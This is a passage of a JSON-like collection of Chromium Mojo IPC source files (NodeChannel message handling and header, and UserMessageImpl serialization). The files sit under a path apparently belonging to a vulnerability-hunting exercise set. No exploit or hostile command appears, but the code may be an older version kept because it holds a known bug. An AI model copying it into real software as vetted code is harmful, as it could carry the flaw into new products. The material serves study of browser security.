return;\n      }\n      break;\n    }\n\n    case MessageType::REQUEST_INTRODUCTION: {\n      IntroductionData data;\n      if (GetMessagePayloadMinimumSized<IntroductionData, IntroductionDataV0>(\n              payload, payload_size, &data)) {\n        delegate_->OnRequestIntroduction(remote_node_name_, data.name);\n        return;\n      }\n      break;\n    }\n\n    case MessageType::INTRODUCE: {\n      IntroductionData data;\n      if (GetMessagePayloadMinimumSized<IntroductionData, IntroductionDataV0>(\n              payload, payload_size, &data)) {\n        if (handles.size() > 1) {\n          DLOG(ERROR) << \"Dropping invalid introduction message.\";\n          break;\n        }\n        PlatformHandle channel_handle;\n        if (handles.size() == 1)\n          channel_handle = std::move(handles[0]);\n\n        // The node channel for this introduction will be created later, so we\n        // can only pass up the capabilities we received from the broker for\n        // that remote.\n        delegate_->OnIntroduce(remote_node_name_, data.name,\n                               std::move(channel_handle), data.capabilities);\n        return;\n      }\n      break;\n    }\n\n#if defined(OS_WIN)\n    case MessageType::RELAY_EVENT_MESSAGE: {\n      base::ProcessHandle from_process;\n      {\n        base::AutoLock lock(remote_process_handle_lock_);\n        // NOTE: It's safe to retain a weak reference to this process handle\n        // through the extent of this call because |this| is kept alive and\n        // |remote_process_handle_| is never reset once set.\n        from_process = remote_process_handle_.Handle();\n      }\n      RelayEventMessageData data;\n      if (GetMessagePayload(payload, payload_size, &data)) {\n        // Don't try to relay an empty message.\n        if (payload_size <= sizeof(Header) + sizeof(data))\n          break;\n\n        const void* message_start = reinterpret_cast<const uint8_t*>(payload) +\n                                    sizeof(Header) + sizeof(data);\n        Channel::MessagePtr message = Channel::Message::Deserialize(\n            message_start, payload_size - sizeof(Header) - sizeof(data),\n            from_process);\n        if (!message) {\n          DLOG(ERROR) << \"Dropping invalid relay message.\";\n          break;\n        }\n        delegate_->OnRelayEventMessage(remote_node_name_, from_process,\n                                       data.destination, std::move(message));\n        return;\n      }\n      break;\n    }\n#endif\n\n    case MessageType::BROADCAST_EVENT: {\n      if (payload_size <= sizeof(Header))\n        break;\n      const void* data = static_cast<const void*>(\n          reinterpret_cast<const Header*>(payload) + 1);\n      Channel::MessagePtr message =\n          Channel::Message::Deserialize(data, payload_size - sizeof(Header));\n      if (!message || message->has_handles()) {\n        DLOG(ERROR) << \"Dropping invalid broadcast message.\";\n        break;\n      }\n      delegate_->OnBroadcast(remote_node_name_, std::move(message));\n      return;\n    }\n\n#if defined(OS_WIN)\n    case MessageType::EVENT_MESSAGE_FROM_RELAY: {\n      EventMessageFromRelayData data;\n      if (GetMessagePayload(payload, payload_size, &data)) {\n        if (payload_size < (sizeof(Header) + sizeof(data)))\n          break;\n\n        size_t num_bytes = payload_size - sizeof(data) - sizeof(Header);\n\n        Channel::MessagePtr message(\n            new Channel::Message(num_bytes, handles.size()));\n        message->SetHandles(std::move(handles));\n        if (num_bytes)\n          memcpy(message->mutable_payload(),\n                 static_cast<const uint8_t*>(payload) + sizeof(Header) +\n                     sizeof(data),\n                 num_bytes);\n        delegate_->OnEventMessageFromRelay(remote_node_name_, data.source,\n                                           std::move(message));\n        return;\n      }\n      break;\n    }\n#endif  // defined(OS_WIN)\n\n    case MessageType::ACCEPT_PEER: {\n      AcceptPeerData data;\n      if (GetMessagePayload(payload, payload_size, &data)) {\n        delegate_->OnAcceptPeer(remote_node_name_, data.token, data.peer_name,\n                                data.port_name);\n        return;\n      }\n      break;\n    }\n\n    case MessageType::BIND_BROKER_HOST:\n      if (handles.size() == 1) {\n        CreateAndBindLocalBrokerHost(std::move(handles[0]));\n        return;\n      }\n      break;\n\n    default:\n      // Ignore unrecognized message types, allowing for future extensibility.\n      return;\n  }\n\n  DLOG(ERROR) << \"Received invalid message type: \"\n              << static_cast<int>(header->type) << \" closing channel.\";\n  if (process_error_callback_)\n    process_error_callback_.Run(\"NodeChannel received a malformed message\");\n  delegate_->OnChannelError(remote_node_name_, this);\n}\n\nvoid NodeChannel::OnChannelError(Channel::Error error) {\n  DCHECK(owning_task_runner()->RunsTasksInCurrentSequence());\n\n  RequestContext request_context(RequestContext::Source::SYSTEM);\n\n  ShutDown();\n\n  if (process_error_callback_ &&\n      error == Channel::Error::kReceivedMalformedData) {\n    process_error_callback_.Run(\"Channel received a malformed message\");\n  }\n\n  // |OnChannelError()| may cause |this| to be destroyed, but still need\n  // access to the name after that destruction. So make a copy of\n  // |remote_node_name_| so it can be used if |this| becomes destroyed.\n  ports::NodeName node_name = remote_node_name_;\n  delegate_->OnChannelError(node_name, this);\n}\n\nvoid NodeChannel::WriteChannelMessage(Channel::MessagePtr message) {\n  base::AutoLock lock(channel_lock_);\n  if (!channel_)\n    DLOG(ERROR) << \"Dropping message on closed channel.\";\n  else\n    channel_->Write(std::move(message));\n}\n\nvoid NodeChannel::OfferChannelUpgrade() {\n#if !defined(OS_NACL)\n  base::AutoLock lock(channel_lock_);\n  channel_->OfferChannelUpgrade();\n#endif\n}\n\nuint64_t NodeChannel::RemoteCapabilities() const {\n  return remote_capabilities_;\n}\n\nbool NodeChannel::HasRemoteCapability(const uint64_t capability) const {\n  return (remote_capabilities_ & capability) == capability;\n}\n\nvoid NodeChannel::SetRemoteCapabilities(const uint64_t capabilities) {\n  remote_capabilities_ |= capabilities;\n}\n\nuint64_t NodeChannel::LocalCapabilities() const {\n  return local_capabilities_;\n}\n\nbool NodeChannel::HasLocalCapability(const uint64_t capability) const {\n  return (local_capabilities_ & capability) == capability;\n}\n\nvoid NodeChannel::SetLocalCapabilities(const uint64_t capabilities) {\n  if (GetConfiguration().dont_advertise_capabilities) {\n    return;\n  }\n\n  local_capabilities_ |= capabilities;\n}\n\nvoid NodeChannel::InitializeLocalCapabilities() {\n  if (GetConfiguration().dont_advertise_capabilities) {\n    return;\n  }\n\n  if (core::Channel::SupportsChannelUpgrade()) {\n    SetLocalCapabilities(kNodeCapabilitySupportsUpgrade);\n  }\n}\n\n}  // namespace core\n}  // namespace mojo\n"
  },
  {
    "path": "LEVEL_3/exercise_3/node_channel.h",
    "content": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef MOJO_CORE_NODE_CHANNEL_H_\n#define MOJO_CORE_NODE_CHANNEL_H_\n\n#include <utility>\n#include <vector>\n\n#include \"base/callback.h\"\n#include \"base/containers/queue.h\"\n#include \"base/macros.h\"\n#include \"base/memory/ref_counted_delete_on_sequence.h\"\n#include \"base/process/process.h\"\n#include \"base/process/process_handle.h\"\n#include \"base/single_thread_task_runner.h\"\n#include \"base/synchronization/lock.h\"\n#include \"build/build_config.h\"\n#include \"mojo/core/channel.h\"\n#include \"mojo/core/connection_params.h\"\n#include \"mojo/core/embedder/process_error_callback.h\"\n#include \"mojo/core/ports/name.h\"\n#include \"mojo/core/system_impl_export.h\"\n\nnamespace mojo {\nnamespace core {\n\nconstexpr uint64_t kNodeCapabilityNone = 0;\nconstexpr uint64_t kNodeCapabilitySupportsUpgrade = 1;\n\n// Wraps a Channel to send and receive Node control messages.\nclass MOJO_SYSTEM_IMPL_EXPORT NodeChannel\n    : public base::RefCountedDeleteOnSequence<NodeChannel>,\n      public Channel::Delegate {\n public:\n  class Delegate {\n   public:\n    virtual ~Delegate() = default;\n    virtual void OnAcceptInvitee(const ports::NodeName& from_node,\n                                 const ports::NodeName& inviter_name,\n                                 const ports::NodeName& token) = 0;\n    virtual void OnAcceptInvitation(const ports::NodeName& from_node,\n                                    const ports::NodeName& token,\n                                    const ports::NodeName& invitee_name) = 0;\n    virtual void OnAddBrokerClient(const ports::NodeName& from_node,\n                                   const ports::NodeName& client_name,\n                                   base::ProcessHandle process_handle) = 0;\n    virtual void OnBrokerClientAdded(const ports::NodeName& from_node,\n                                     const ports::NodeName& client_name,\n                                     PlatformHandle broker_channel) = 0;\n    virtual void OnAcceptBrokerClient(const ports::NodeName& from_node,\n                                      const ports::NodeName& broker_name,\n                                      PlatformHandle broker_channel,\n                                      const uint64_t broker_capabilities) = 0;\n    virtual void OnEventMessage(const ports::NodeName& from_node,\n                                Channel::MessagePtr message) = 0;\n    virtual void OnRequestPortMerge(const ports::NodeName& from_node,\n                                    const ports::PortName& connector_port_name,\n                                    const std::string& token) = 0;\n    virtual void OnRequestIntroduction(const ports::NodeName& from_node,\n                                       const ports::NodeName& name) = 0;\n    virtual void OnIntroduce(const ports::NodeName& from_node,\n                             const ports::NodeName& name,\n                             PlatformHandle channel_handle,\n                             const uint64_t remote_capabilities) = 0;\n    virtual void OnBroadcast(const ports::NodeName& from_node,\n                             Channel::MessagePtr message) = 0;\n#if defined(OS_WIN)\n    virtual void OnRelayEventMessage(const ports::NodeName& from_node,\n                                     base::ProcessHandle from_process,\n                                     const ports::NodeName& destination,\n                                     Channel::MessagePtr message) = 0;\n    virtual void OnEventMessageFromRelay(const ports::NodeName& from_node,\n                                         const ports::NodeName& source_node,\n                                         Channel::MessagePtr message) = 0;\n#endif\n    virtual void OnAcceptPeer(const ports::NodeName& from_node,\n                              const ports::NodeName& token,\n                              const ports::NodeName& peer_name,\n                              const ports::PortName& port_name) = 0;\n    virtual void OnChannelError(const ports::NodeName& node,\n                                NodeChannel* channel) = 0;\n  };\n\n  static scoped_refptr<NodeChannel> Create(\n      Delegate* delegate,\n      ConnectionParams connection_params,\n      Channel::HandlePolicy channel_handle_policy,\n      scoped_refptr<base::SingleThreadTaskRunner> io_task_runner,\n      const ProcessErrorCallback& process_error_callback);\n\n  static Channel::MessagePtr CreateEventMessage(size_t capacity,\n                                                size_t payload_size,\n                                                void** payload,\n                                                size_t num_handles);\n\n  static void GetEventMessageData(Channel::Message* message,\n                                  void** data,\n                                  size_t* num_data_bytes);\n\n  // Start receiving messages.\n  void Start();\n\n  // Permanently stop the channel from sending or receiving messages.\n  void ShutDown();\n\n  // Leaks the pipe handle instead of closing it on shutdown.\n  void LeakHandleOnShutdown();\n\n  // Invokes the bad message callback for this channel.  To avoid losing error\n  // reports the caller should ensure that the channel |HasBadMessageHandler|\n  // before calling |NotifyBadMessage|.\n  void NotifyBadMessage(const std::string& error);\n\n  // Returns whether the channel has a bad message handler.\n  bool HasBadMessageHandler() { return !process_error_callback_.is_null(); }\n\n  void SetRemoteProcessHandle(base::Process process_handle);\n  bool HasRemoteProcessHandle();\n  base::Process CloneRemoteProcessHandle();\n\n  // Used for context in Delegate calls (via |from_node| arguments.)\n  void SetRemoteNodeName(const ports::NodeName& name);\n\n  void AcceptInvitee(const ports::NodeName& inviter_name,\n                     const ports::NodeName& token);\n  void AcceptInvitation(const ports::NodeName& token,\n                        const ports::NodeName& invitee_name);\n  void AcceptPeer(const ports::NodeName& sender_name,\n                  const ports::NodeName& token,\n                  const ports::PortName& port_name);\n  void AddBrokerClient(const ports::NodeName& client_name,\n                       base::Process process_handle);\n  void BrokerClientAdded(const ports::NodeName& client_name,\n                         PlatformHandle broker_channel);\n  void AcceptBrokerClient(const ports::NodeName& broker_name,\n                          PlatformHandle broker_channel,\n                          const uint64_t broker_capabilities);\n  void RequestPortMerge(const ports::PortName& connector_port_name,\n                        const std::string& token);\n  void RequestIntroduction(const ports::NodeName& name);\n  void Introduce(const ports::NodeName& name,\n                 PlatformHandle channel_handle,\n                 uint64_t capabilities);\n  void SendChannelMessage(Channel::MessagePtr message);\n  void Broadcast(Channel::MessagePtr message);\n  void BindBrokerHost(PlatformHandle broker_host_handle);\n\n  uint64_t RemoteCapabilities() const;\n  bool HasRemoteCapability(const uint64_t capability) const;\n  void SetRemoteCapabilities(const uint64_t capability);\n\n  uint64_t LocalCapabilities() const;\n  bool HasLocalCapability(const uint64_t capability) const;\n  void SetLocalCapabilities(const uint64_t capability);\n\n#if defined(OS_WIN)\n  // Relay the message to the specified node via this channel.  This is used to\n  // pass windows handles between two processes that do not have permission to\n  // duplicate handles into the other's address space. The relay process is\n  // assumed to have that permission.\n  void RelayEventMessage(const ports::NodeName& destination,\n                         Channel::MessagePtr message);\n\n  // Sends a message to its destination from a relay. This is interpreted by the\n  // receiver similarly to EventMessage, but the original source node is\n  // provided as additional message metadata from the (trusted) relay node.\n  void EventMessageFromRelay(const ports::NodeName& source,\n                             Channel::MessagePtr message);\n#endif\n\n  void OfferChannelUpgrade();\n\n private:\n  friend class base::RefCountedDeleteOnSequence<NodeChannel>;\n  friend class base::DeleteHelper<NodeChannel>;\n\n  using PendingMessageQueue = base::queue<Channel::MessagePtr>;\n  using PendingRelayMessageQueue =\n      base::queue<std::pair<ports::NodeName, Channel::MessagePtr>>;\n\n  NodeChannel(Delegate* delegate,\n              ConnectionParams connection_params,\n              Channel::HandlePolicy channel_handle_policy,\n              scoped_refptr<base::SingleThreadTaskRunner> io_task_runner,\n              const ProcessErrorCallback& process_error_callback);\n  ~NodeChannel() override;\n\n  // Creates a BrokerHost to satisfy a |BindBrokerHost()| request from the other\n  // end of the channel.\n  void CreateAndBindLocalBrokerHost(PlatformHandle broker_host_handle);\n\n  // Channel::Delegate:\n  void OnChannelMessage(const void* payload,\n                        size_t payload_size,\n                        std::vector<PlatformHandle> handles) override;\n  void OnChannelError(Channel::Error error) override;\n\n  void WriteChannelMessage(Channel::MessagePtr message);\n\n  // This method is responsible for setting up the default set of capabilities\n  // for this channel.\n  void InitializeLocalCapabilities();\n\n  Delegate* const delegate_;\n  const ProcessErrorCallback process_error_callback_;\n\n  base::Lock channel_lock_;\n  scoped_refptr<Channel> channel_ GUARDED_BY(channel_lock_);\n\n  // Must only be accessed from the owning task runner's thread.\n  ports::NodeName remote_node_name_;\n\n  uint64_t remote_capabilities_ = kNodeCapabilityNone;\n  uint64_t local_capabilities_ = kNodeCapabilityNone;\n\n  base::Lock remote_process_handle_lock_;\n  base::Process remote_process_handle_;\n\n  DISALLOW_COPY_AND_ASSIGN(NodeChannel);\n};\n\n}  // namespace core\n}  // namespace mojo\n\n#endif  // MOJO_CORE_NODE_CHANNEL_H_\n"
  },
  {
    "path": "LEVEL_3/exercise_3/user_message_impl.cc",
    "content": "// Copyright 2017 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"mojo/core/user_message_impl.h\"\n\n#include <algorithm>\n#include <vector>\n\n#include \"base/atomicops.h\"\n#include \"base/debug/dump_without_crashing.h\"\n#include \"base/memory/ptr_util.h\"\n#include \"base/no_destructor.h\"\n#include \"base/numerics/safe_conversions.h\"\n#include \"base/numerics/safe_math.h\"\n#include \"base/trace_event/memory_allocator_dump.h\"\n#include \"base/trace_event/memory_dump_manager.h\"\n#include \"base/trace_event/memory_dump_provider.h\"\n#include \"base/trace_event/trace_event.h\"\n#include \"mojo/core/configuration.h\"\n#include \"mojo/core/core.h\"\n#include \"mojo/core/node_channel.h\"\n#include \"mojo/core/node_controller.h\"\n#include \"mojo/core/ports/event.h\"\n#include \"mojo/core/ports/message_filter.h\"\n#include \"mojo/core/ports/node.h\"\n#include \"mojo/public/c/system/types.h\"\n\nnamespace mojo {\nnamespace core {\n\nnamespace {\n\n// The minimum amount of memory to allocate for a new serialized message buffer.\n// This should be sufficiently large such that most seiralized messages do not\n// incur any reallocations as they're expanded to full size.\nconst uint32_t kMinimumPayloadBufferSize = 128;\n\n// The maximum number of Mojo handles which can be attached to a serialized\n// user message. Much larger than should ever be necessary, but small enough\n// to not be a problem.\nconst uint32_t kMaxMojoHandleAttachments = 1024 * 1024;\n\n// Indicates whether handle serialization failure should be emulated in testing.\nbool g_always_fail_handle_serialization = false;\n\n#pragma pack(push, 1)\n// Header attached to every message.\nstruct MessageHeader {\n  // The number of serialized dispatchers included in this header.\n  uint32_t num_dispatchers;\n\n  // Total size of the header, including serialized dispatcher data.\n  uint32_t header_size;\n};\n\n// Header for each dispatcher in a message, immediately following the message\n// header.\nstruct DispatcherHeader {\n  // The type of the dispatcher, correpsonding to the Dispatcher::Type enum.\n  int32_t type;\n\n  // The size of the serialized dispatcher, not including this header.\n  uint32_t num_bytes;\n\n  // The number of ports needed to deserialize this dispatcher.\n  uint32_t num_ports;\n\n  // The number of platform handles needed to deserialize this dispatcher.\n  uint32_t num_platform_handles;\n};\n#pragma pack(pop)\n\nstatic_assert(sizeof(MessageHeader) % 8 == 0, \"Invalid MessageHeader size.\");\nstatic_assert(sizeof(DispatcherHeader) % 8 == 0,\n              \"Invalid DispatcherHeader size.\");\n\n// Creates a new Channel message with sufficient storage for |num_bytes| user\n// message payload and all |dispatchers| given. If |original_message| is not\n// null, its contents are copied and extended by the other parameters given\n// here.\nMojoResult CreateOrExtendSerializedEventMessage(\n    ports::UserMessageEvent* event,\n    size_t payload_size,\n    size_t payload_buffer_size,\n    const Dispatcher::DispatcherInTransit* new_dispatchers,\n    size_t num_new_dispatchers,\n    Channel::MessagePtr* out_message,\n    void** out_header,\n    size_t* out_header_size,\n    void** out_user_payload) {\n  // A structure for tracking information about every Dispatcher that will be\n  // serialized into the message. This is NOT part of the message itself.\n  struct DispatcherInfo {\n    uint32_t num_bytes;\n    uint32_t num_ports;\n    uint32_t num_handles;\n  };\n\n  size_t original_header_size = sizeof(MessageHeader);\n  size_t original_num_ports = 0;\n  size_t original_num_handles = 0;\n  size_t original_payload_size = 0;\n  MessageHeader* original_header = nullptr;\n  void* original_user_payload = nullptr;\n  Channel::MessagePtr original_message;\n  if (*out_message) {\n    original_message = std::move(*out_message);\n    original_header = static_cast<MessageHeader*>(*out_header);\n    original_header_size = *out_header_size;\n    original_num_ports = event->num_ports();\n    original_num_handles = original_message->num_handles();\n    original_user_payload = *out_user_payload;\n    original_payload_size =\n        original_message->payload_size() -\n        (static_cast<char*>(original_user_payload) -\n         static_cast<char*>(original_message->mutable_payload()));\n  }\n\n  // This is only the base header size. It will grow as we accumulate the\n  // size of serialized state for each dispatcher.\n  base::CheckedNumeric<size_t> safe_header_size = num_new_dispatchers;\n  safe_header_size *= sizeof(DispatcherHeader);\n  safe_header_size += original_header_size;\n  size_t header_size = safe_header_size.ValueOrDie();\n  size_t num_new_ports = 0;\n  size_t num_new_handles = 0;\n  std::vector<DispatcherInfo> new_dispatcher_info(num_new_dispatchers);\n  for (size_t i = 0; i < num_new_dispatchers; ++i) {\n    Dispatcher* d = new_dispatchers[i].dispatcher.get();\n    d->StartSerialize(&new_dispatcher_info[i].num_bytes,\n                      &new_dispatcher_info[i].num_ports,\n                      &new_dispatcher_info[i].num_handles);\n    header_size += new_dispatcher_info[i].num_bytes;\n    num_new_ports += new_dispatcher_info[i].num_ports;\n    num_new_handles += new_dispatcher_info[i].num_handles;\n  }\n\n  size_t num_ports = original_num_ports + num_new_ports;\n  size_t num_handles = original_num_handles + num_new_handles;\n\n  // We now have enough information to fully allocate the message storage.\n  if (num_ports > event->num_ports())\n    event->ReservePorts(num_ports);\n  const size_t event_size = event->GetSerializedSize();\n  const size_t total_size = event_size + header_size + payload_size;\n  const size_t total_buffer_size =\n      event_size + header_size + payload_buffer_size;\n  void* data;\n  Channel::MessagePtr message = NodeChannel::CreateEventMessage(\n      total_buffer_size, total_size, &data, num_handles);\n  auto* header = reinterpret_cast<MessageHeader*>(static_cast<uint8_t*>(data) +\n                                                  event_size);\n\n  // Populate the message header with information about serialized dispatchers.\n  // The front of the message is always a MessageHeader followed by a\n  // DispatcherHeader for each dispatcher to be sent.\n  DispatcherHeader* new_dispatcher_headers;\n  char* new_dispatcher_data;\n  size_t total_num_dispatchers = num_new_dispatchers;\n  std::vector<PlatformHandle> handles;\n  if (original_message) {\n    DCHECK(original_header);\n    size_t original_dispatcher_headers_size =\n        original_header->num_dispatchers * sizeof(DispatcherHeader);\n    memcpy(header, original_header,\n           original_dispatcher_headers_size + sizeof(MessageHeader));\n    new_dispatcher_headers = reinterpret_cast<DispatcherHeader*>(\n        reinterpret_cast<uint8_t*>(header + 1) +\n        original_dispatcher_headers_size);\n    total_num_dispatchers += original_header->num_dispatchers;\n    size_t total_dispatcher_headers_size =\n        total_num_dispatchers * sizeof(DispatcherHeader);\n    char* original_dispatcher_data =\n        reinterpret_cast<char*>(original_header + 1) +\n        original_dispatcher_headers_size;\n    char* dispatcher_data =\n        reinterpret_cast<char*>(header + 1) + total_dispatcher_headers_size;\n    size_t original_dispatcher_data_size = original_header_size -\n                                           sizeof(MessageHeader) -\n                                           original_dispatcher_headers_size;\n    memcpy(dispatcher_data, original_dispatcher_data,\n           original_dispatcher_data_size);\n    new_dispatcher_data = dispatcher_data + original_dispatcher_data_size;\n    auto handles_in_transit = original_message->TakeHandles();\n    if (!handles_in_transit.empty()) {\n      handles.resize(num_handles);\n      for (size_t i = 0; i < handles_in_transit.size(); ++i)\n        handles[i] = handles_in_transit[i].TakeHandle();\n    }\n    memcpy(reinterpret_cast<char*>(header) + header_size,\n           reinterpret_cast<char*>(original_header) + original_header_size,\n           original_payload_size);\n  } else {\n    new_dispatcher_headers = reinterpret_cast<DispatcherHeader*>(header + 1);\n    // Serialized dispatcher state immediately follows the series of\n    // DispatcherHeaders.\n    new_dispatcher_data =\n        reinterpret_cast<char*>(new_dispatcher_headers + num_new_dispatchers);\n  }\n\n  if (handles.empty() && num_new_handles)\n    handles.resize(num_new_handles);\n\n  header->num_dispatchers =\n      base::CheckedNumeric<uint32_t>(total_num_dispatchers).ValueOrDie();\n\n  // |header_size| is the total number of bytes preceding the message payload,\n  // including all dispatcher headers and serialized dispatcher state.\n  if (!base::IsValueInRangeForNumericType<uint32_t>(header_size))\n    return MOJO_RESULT_OUT_OF_RANGE;\n\n  header->header_size = static_cast<uint32_t>(header_size);\n\n  if (num_new_dispatchers > 0) {\n    size_t port_index = original_num_ports;\n    size_t handle_index = original_num_handles;\n    bool fail = false;\n    for (size_t i = 0; i < num_new_dispatchers; ++i) {\n      Dispatcher* d = new_dispatchers[i].dispatcher.get();\n      DispatcherHeader* dh = &new_dispatcher_headers[i];\n      const DispatcherInfo& info = new_dispatcher_info[i];\n\n      // Fill in the header for this dispatcher.\n      dh->type = static_cast<int32_t>(d->GetType());\n      dh->num_bytes = info.num_bytes;\n      dh->num_ports = info.num_ports;\n      dh->num_platform_handles = info.num_handles;\n\n      // Fill in serialized state, ports, and platform handles. We'll cancel\n      // the send if the dispatcher implementation rejects for some reason.\n      if (g_always_fail_handle_serialization ||\n          !d->EndSerialize(\n              static_cast<void*>(new_dispatcher_data),\n              event->ports() + port_index,\n              !handles.empty() ? handles.data() + handle_index : nullptr)) {\n        fail = true;\n        break;\n      }\n\n      new_dispatcher_data += info.num_bytes;\n      port_index += info.num_ports;\n      handle_index += info.num_handles;\n    }\n\n    if (fail) {\n      // Release any platform handles we've accumulated. Their dispatchers\n      // retain ownership when message creation fails, so these are not actually\n      // leaking.\n      for (auto& handle : handles)\n        handle.release();\n\n      // Leave the original message in place on failure if applicable.\n      if (original_message)\n        *out_message = std::move(original_message);\n      return MOJO_RESULT_INVALID_ARGUMENT;\n    }\n\n    // Take ownership of all the handles and move them into message storage.\n    message->SetHandles(std::move(handles));\n  }\n\n  *out_message = std::move(message);\n  *out_header = header;\n  *out_header_size = header_size;\n  *out_user_payload = reinterpret_cast<uint8_t*>(header) + header_size;\n  return MOJO_RESULT_OK;\n}\n\nbase::subtle::Atomic32 g_message_count = 0;\n\nvoid IncrementMessageCount() {\n  base::subtle::NoBarrier_AtomicIncrement(&g_message_count, 1);\n}\n\nvoid DecrementMessageCount() {\n  base::subtle::NoBarrier_AtomicIncrement(&g_message_count, -1);\n}\n\nclass MessageMemoryDumpProvider : public base::trace_event::MemoryDumpProvider {\n public:\n  MessageMemoryDumpProvider() {\n    base::trace_event::MemoryDumpManager::GetInstance()->RegisterDumpProvider(\n        this, \"MojoMessages\", nullptr);\n  }\n\n  ~MessageMemoryDumpProvider() override {\n    base::trace_event::MemoryDumpManager::GetInstance()->UnregisterDumpProvider(\n        this);\n  }\n\n private:\n  // base::trace_event::MemoryDumpProvider:\n  bool OnMemoryDump(const base::trace_event::MemoryDumpArgs& args,\n                    base::trace_event::ProcessMemoryDump* pmd) override {\n    auto* dump = pmd->CreateAllocatorDump(\"mojo/messages\");\n    dump->AddScalar(base::trace_event::MemoryAllocatorDump::kNameObjectCount,\n                    base::trace_event::MemoryAllocatorDump::kUnitsObjects,\n                    base::subtle::NoBarrier_Load(&g_message_count));\n    return true;\n  }\n\n  DISALLOW_COPY_AND_ASSIGN(MessageMemoryDumpProvider);\n};\n\nvoid EnsureMemoryDumpProviderExists() {\n  static base::NoDestructor<MessageMemoryDumpProvider> provider;\n  ALLOW_UNUSED_LOCAL(provider);\n}\n\n}  // namespace\n\n// static\nconst ports::UserMessage::TypeInfo UserMessageImpl::kUserMessageTypeInfo = {};\n\nUserMessageImpl::~UserMessageImpl() {\n  if (HasContext() && context_destructor_) {\n    DCHECK(!channel_message_);\n    DCHECK(!has_serialized_handles_);\n    context_destructor_(context_);\n  } else if (IsSerialized() && has_serialized_handles_) {\n    // Ensure that any handles still serialized within this message are\n    // extracted and closed so they don't leak.\n    std::vector<MojoHandle> handles(num_handles());\n    MojoResult result =\n        ExtractSerializedHandles(ExtractBadHandlePolicy::kSkip, handles.data());\n    if (result == MOJO_RESULT_OK) {\n      for (auto handle : handles) {\n        if (handle != MOJO_HANDLE_INVALID)\n          Core::Get()->Close(handle);\n      }\n    }\n\n    if (!pending_handle_attachments_.empty()) {\n      Core::Get()->ReleaseDispatchersForTransit(pending_handle_attachments_,\n                                                false);\n      for (const auto& dispatcher : pending_handle_attachments_)\n        Core::Get()->Close(dispatcher.local_handle);\n    }\n  }\n\n  DecrementMessageCount();\n}\n\n// static\nstd::unique_ptr<ports::UserMessageEvent>\nUserMessageImpl::CreateEventForNewMessage(MojoCreateMessageFlags flags) {\n  auto message_event = std::make_unique<ports::UserMessageEvent>(0);\n  message_event->AttachMessage(\n      base::WrapUnique(new UserMessageImpl(message_event.get(), flags)));\n  return message_event;\n}\n\n// static\nMojoResult UserMessageImpl::CreateEventForNewSerializedMessage(\n    uint32_t num_bytes,\n    const Dispatcher::DispatcherInTransit* dispatchers,\n    uint32_t num_dispatchers,\n    std::unique_ptr<ports::UserMessageEvent>* out_event) {\n  Channel::MessagePtr channel_message;\n  void* header = nullptr;\n  void* user_payload = nullptr;\n  auto event = std::make_unique<ports::UserMessageEvent>(0);\n  size_t header_size = 0;\n  MojoResult rv = CreateOrExtendSerializedEventMessage(\n      event.get(), num_bytes, num_bytes, dispatchers, num_dispatchers,\n      &channel_message, &header, &header_size, &user_payload);\n  if (rv != MOJO_RESULT_OK)\n    return rv;\n  event->AttachMessage(base::WrapUnique(\n      new UserMessageImpl(event.get(), std::move(channel_message), header,\n                          header_size, user_payload, num_bytes)));\n  *out_event = std::move(event);\n  return MOJO_RESULT_OK;\n}\n\n// static\nstd::unique_ptr<UserMessageImpl> UserMessageImpl::CreateFromChannelMessage(\n    ports::UserMessageEvent* message_event,\n    Channel::MessagePtr channel_message,\n    void* payload,\n    size_t payload_size) {\n  DCHECK(channel_message);\n  if (payload_size < sizeof(MessageHeader))\n    return nullptr;\n\n  auto* header = static_cast<MessageHeader*>(payload);\n  const size_t header_size = header->header_size;\n  if (header_size > payload_size)\n    return nullptr;\n\n  if (header->num_dispatchers > kMaxMojoHandleAttachments)\n    return nullptr;\n\n  void* user_payload = static_cast<uint8_t*>(payload) + header_size;\n  const size_t user_payload_size = payload_size - header_size;\n  return base::WrapUnique(\n      new UserMessageImpl(message_event, std::move(channel_message), header,\n                          header_size, user_payload, user_payload_size));\n}\n\n// static\nChannel::MessagePtr UserMessageImpl::FinalizeEventMessage(\n    std::unique_ptr<ports::UserMessageEvent> message_event) {\n  auto* message = message_event->GetMessage<UserMessageImpl>();\n  DCHECK(message->IsSerialized());\n\n  if (!message->is_committed_)\n    return nullptr;\n\n  Channel::MessagePtr channel_message = std::move(message->channel_message_);\n  message->user_payload_ = nullptr;\n  message->user_payload_size_ = 0;\n\n  // Serialize the UserMessageEvent into the front of the message payload where\n  // there is already space reserved for it.\n  if (channel_message) {\n    void* data;\n    size_t size;\n    NodeChannel::GetEventMessageData(channel_message.get(), &data, &size);\n    message_event->Serialize(data);\n  }\n\n  return channel_message;\n}\n\nsize_t UserMessageImpl::user_payload_capacity() const {\n  DCHECK(IsSerialized());\n  const size_t user_payload_offset =\n      static_cast<uint8_t*>(user_payload_) -\n      static_cast<const uint8_t*>(channel_message_->payload());\n  const size_t message_capacity = channel_message_->capacity();\n  DCHECK_LE(user_payload_offset, message_capacity);\n  return message_capacity - user_payload_offset;\n}\n\nsize_t UserMessageImpl::num_handles() const {\n  DCHECK(IsSerialized());\n  DCHECK(header_);\n  return static_cast<const MessageHeader*>(header_)->num_dispatchers;\n}\n\nMojoResult UserMessageImpl::SetContext(\n    uintptr_t context,\n    MojoMessageContextSerializer serializer,\n    MojoMessageContextDestructor destructor) {\n  if (!context && (serializer || destructor))\n    return MOJO_RESULT_INVALID_ARGUMENT;\n  if (context && HasContext())\n    return MOJO_RESULT_ALREADY_EXISTS;\n  if (IsSerialized())\n    return MOJO_RESULT_FAILED_PRECONDITION;\n  context_ = context;\n  context_serializer_ = serializer;\n  context_destructor_ = destructor;\n  return MOJO_RESULT_OK;\n}\n\nMojoResult UserMessageImpl::AppendData(uint32_t additional_payload_size,\n                                       const MojoHandle* handles,\n                                       uint32_t num_handles) {\n  if (HasContext())\n    return MOJO_RESULT_FAILED_PRECONDITION;\n\n  std::vector<Dispatcher::DispatcherInTransit> dispatchers;\n  if (num_handles > 0) {\n    MojoResult acquire_result = Core::Get()->AcquireDispatchersForTransit(\n        handles, num_handles, &dispatchers);\n    if (acquire_result != MOJO_RESULT_OK)\n      return acquire_result;\n  }\n\n  if (!IsSerialized()) {\n    // First data for this message.\n    Channel::MessagePtr channel_message;\n    MojoResult rv = CreateOrExtendSerializedEventMessage(\n        message_event_, additional_payload_size,\n        